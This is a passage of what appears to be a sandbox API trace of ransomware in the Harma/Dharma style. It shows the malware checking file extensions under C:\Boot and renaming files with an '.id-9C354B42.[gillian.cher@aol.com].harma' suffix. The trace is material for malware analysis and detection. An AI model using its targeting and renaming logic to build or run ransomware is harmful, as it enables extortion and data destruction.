(lpString1=".zip", lpString2=".mui") returned 1 [0039.594] lstrlenW (lpString=".rar") returned 4 [0039.594] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.594] lstrlenW (lpString=".bz2") returned 4 [0039.594] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.594] lstrlenW (lpString=".7z") returned 3 [0039.594] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.594] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.595] lstrlenW (lpString=".dbf") returned 4 [0039.595] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.595] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.595] lstrlenW (lpString=".1cd") returned 4 [0039.595] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.595] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.595] lstrlenW (lpString=".jpg") returned 4 [0039.595] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.595] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.595] lstrlenW (lpString="memtest.exe.mui") returned 15 [0039.595] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.595] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=43600) returned 1 [0039.596] CloseHandle (hObject=0x164) returned 1 [0039.596] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0039.596] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.596] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.596] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.596] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.596] lstrlenW (lpString=".doc") returned 4 [0039.596] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.596] lstrlenW (lpString=".docx") returned 5 [0039.596] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.596] lstrlenW (lpString=".pdf") returned 4 [0039.596] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.596] lstrlenW (lpString=".xls") returned 4 [0039.596] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.596] lstrlenW (lpString=".xlsx") returned 5 [0039.596] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.596] lstrlenW (lpString=".ppt") returned 4 [0039.596] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.597] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.597] lstrlenW (lpString=".zip") returned 4 [0039.597] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.597] lstrlenW (lpString=".rar") returned 4 [0039.597] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.597] lstrlenW (lpString=".bz2") returned 4 [0039.597] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.597] lstrlenW (lpString=".7z") returned 3 [0039.597] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.597] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.597] lstrlenW (lpString=".dbf") returned 4 [0039.597] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.597] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.597] lstrlenW (lpString=".1cd") returned 4 [0039.597] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.597] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.597] lstrlenW (lpString=".jpg") returned 4 [0039.597] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.597] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.597] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.597] lstrlenW (lpString=".doc") returned 4 [0039.597] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.597] lstrlenW (lpString=".docx") returned 5 [0039.597] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.598] lstrlenW (lpString=".pdf") returned 4 [0039.598] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.598] lstrlenW (lpString=".xls") returned 4 [0039.598] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.598] lstrlenW (lpString=".xlsx") returned 5 [0039.598] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.598] lstrlenW (lpString=".ppt") returned 4 [0039.598] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.598] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.598] lstrlenW (lpString=".zip") returned 4 [0039.598] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.598] lstrlenW (lpString=".rar") returned 4 [0039.598] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.598] lstrlenW (lpString=".bz2") returned 4 [0039.598] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.598] lstrlenW (lpString=".7z") returned 3 [0039.598] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.598] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.598] lstrlenW (lpString=".dbf") returned 4 [0039.598] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.598] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.598] lstrlenW (lpString=".1cd") returned 4 [0039.598] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.598] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0039.598] lstrlenW (lpString=".jpg") returned 4 [0039.598] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.599] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.599] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.599] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.599] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=90192) returned 1 [0039.599] CloseHandle (hObject=0x164) returned 1 [0039.602] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0039.603] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.603] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.603] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0039.603] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0039.603] lstrlenW (lpString=".doc") returned 4 [0039.603] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.603] lstrlenW (lpString=".docx") returned 5 [0039.603] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.603] lstrlenW (lpString=".pdf") returned 4 [0039.603] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.603] lstrlenW (lpString=".xls") returned 4 [0039.603] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.603] lstrlenW (lpString=".xlsx") returned 5 [0039.603] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.603] lstrlenW (lpString=".ppt") returned 4 [0039.603] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.603] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0039.603] lstrlenW (lpString=".zip") returned 4 [0039.603] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.603] lstrlenW (lpString=".rar") returned 4 [0039.603] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.604] lstrlenW (lpString=".bz2") returned 4 [0039.604] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.604] lstrlenW (lpString=".7z") returned 3 [0039.604] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.607] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=89152) returned 1 [0039.607] CloseHandle (hObject=0x164) returned 1 [0039.607] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0039.608] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.608] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.608] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=3694080) returned 1 [0039.608] CloseHandle (hObject=0x164) returned 1 [0039.608] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0039.608] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.609] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0039.657] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=3876772) returned 1 [0039.657] CloseHandle (hObject=0x168) returned 1 [0039.657] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0039.657] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.657] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0039.658] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0039.658] lstrlenW (lpString="kor_boot.ttf") returned 12 [0039.658] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.660] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=2371360) returned 1 [0039.660] CloseHandle (hObject=0x168) returned 1 [0039.660] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0039.660] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.660] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0039.660] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.660] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.660] lstrlenW (lpString=".doc") returned 4 [0039.661] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0039.661] lstrlenW (lpString=".docx") returned 5 [0039.661] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0039.661] lstrlenW (lpString=".pdf") returned 4 [0039.661] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0039.661] lstrlenW (lpString=".xls") returned 4 [0039.661] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0039.661] lstrlenW (lpString=".xlsx") returned 5 [0039.661] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0039.661] lstrlenW (lpString=".ppt") returned 4 [0039.661] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0039.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.661] lstrlenW (lpString=".zip") returned 4 [0039.661] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0039.661] lstrlenW (lpString=".rar") returned 4 [0039.661] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0039.661] lstrlenW (lpString=".bz2") returned 4 [0039.661] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0039.661] lstrlenW (lpString=".7z") returned 3 [0039.661] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0039.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.661] lstrlenW (lpString=".dbf") returned 4 [0039.661] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0039.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.662] lstrlenW (lpString=".1cd") returned 4 [0039.662] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0039.662] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.662] lstrlenW (lpString=".jpg") returned 4 [0039.662] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0039.662] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.662] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.662] lstrlenW (lpString=".doc") returned 4 [0039.662] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0039.662] lstrlenW (lpString=".docx") returned 5 [0039.662] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0039.662] lstrlenW (lpString=".pdf") returned 4 [0039.662] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0039.662] lstrlenW (lpString=".xls") returned 4 [0039.662] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0039.662] lstrlenW (lpString=".xlsx") returned 5 [0039.662] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0039.662] lstrlenW (lpString=".ppt") returned 4 [0039.662] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0039.662] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.662] lstrlenW (lpString=".zip") returned 4 [0039.662] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0039.662] lstrlenW (lpString=".rar") returned 4 [0039.662] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0039.663] lstrlenW (lpString=".bz2") returned 4 [0039.663] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0039.663] lstrlenW (lpString=".7z") returned 3 [0039.663] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0039.663] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.663] lstrlenW (lpString=".dbf") returned 4 [0039.663] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0039.663] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.663] lstrlenW (lpString=".1cd") returned 4 [0039.663] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0039.663] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0039.663] lstrlenW (lpString=".jpg") returned 4 [0039.663] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0039.663] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0039.663] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0039.663] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.664] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=47452) returned 1 [0039.664] CloseHandle (hObject=0x168) returned 1 [0039.664] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0039.664] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.664] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.664] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.664] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.664] lstrlenW (lpString=".doc") returned 4 [0039.664] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0039.664] lstrlenW (lpString=".docx") returned 5 [0039.664] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0039.664] lstrlenW (lpString=".pdf") returned 4 [0039.664] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0039.664] lstrlenW (lpString=".xls") returned 4 [0039.664] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0039.664] lstrlenW (lpString=".xlsx") returned 5 [0039.665] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0039.665] lstrlenW (lpString=".ppt") returned 4 [0039.665] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0039.665] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.665] lstrlenW (lpString=".zip") returned 4 [0039.665] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0039.665] lstrlenW (lpString=".rar") returned 4 [0039.665] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0039.665] lstrlenW (lpString=".bz2") returned 4 [0039.665] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0039.665] lstrlenW (lpString=".7z") returned 3 [0039.665] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0039.665] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.665] lstrlenW (lpString=".dbf") returned 4 [0039.665] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0039.665] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.665] lstrlenW (lpString=".1cd") returned 4 [0039.665] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0039.665] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.665] lstrlenW (lpString=".jpg") returned 4 [0039.665] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0039.665] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.665] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.665] lstrlenW (lpString=".doc") returned 4 [0039.666] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0039.666] lstrlenW (lpString=".docx") returned 5 [0039.666] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0039.666] lstrlenW (lpString=".pdf") returned 4 [0039.666] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0039.666] lstrlenW (lpString=".xls") returned 4 [0039.666] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0039.666] lstrlenW (lpString=".xlsx") returned 5 [0039.666] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0039.666] lstrlenW (lpString=".ppt") returned 4 [0039.666] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0039.666] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.666] lstrlenW (lpString=".zip") returned 4 [0039.666] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0039.666] lstrlenW (lpString=".rar") returned 4 [0039.666] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0039.666] lstrlenW (lpString=".bz2") returned 4 [0039.666] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0039.666] lstrlenW (lpString=".7z") returned 3 [0039.666] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0039.666] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.666] lstrlenW (lpString=".dbf") returned 4 [0039.666] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0039.666] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.667] lstrlenW (lpString=".1cd") returned 4 [0039.667] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0039.667] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0039.667] lstrlenW (lpString=".jpg") returned 4 [0039.667] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0039.667] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.667] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.667] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.667] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=93248) returned 1 [0039.667] CloseHandle (hObject=0x168) returned 1 [0039.668] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0039.668] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.668] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.668] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.668] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.668] lstrlenW (lpString=".doc") returned 4 [0039.668] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.668] lstrlenW (lpString=".docx") returned 5 [0039.668] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.668] lstrlenW (lpString=".pdf") returned 4 [0039.668] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.668] lstrlenW (lpString=".xls") returned 4 [0039.668] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.668] lstrlenW (lpString=".xlsx") returned 5 [0039.668] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.668] lstrlenW (lpString=".ppt") returned 4 [0039.668] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.668] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.668] lstrlenW (lpString=".zip") returned 4 [0039.668] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.668] lstrlenW (lpString=".rar") returned 4 [0039.669] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.669] lstrlenW (lpString=".bz2") returned 4 [0039.669] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.669] lstrlenW (lpString=".7z") returned 3 [0039.669] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.669] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.669] lstrlenW (lpString=".dbf") returned 4 [0039.669] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.669] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.669] lstrlenW (lpString=".1cd") returned 4 [0039.669] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.669] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.669] lstrlenW (lpString=".jpg") returned 4 [0039.669] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.669] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.669] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.669] lstrlenW (lpString=".doc") returned 4 [0039.669] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.669] lstrlenW (lpString=".docx") returned 5 [0039.669] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.669] lstrlenW (lpString=".pdf") returned 4 [0039.669] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.669] lstrlenW (lpString=".xls") returned 4 [0039.669] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.670] lstrlenW (lpString=".xlsx") returned 5 [0039.670] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.670] lstrlenW (lpString=".ppt") returned 4 [0039.670] 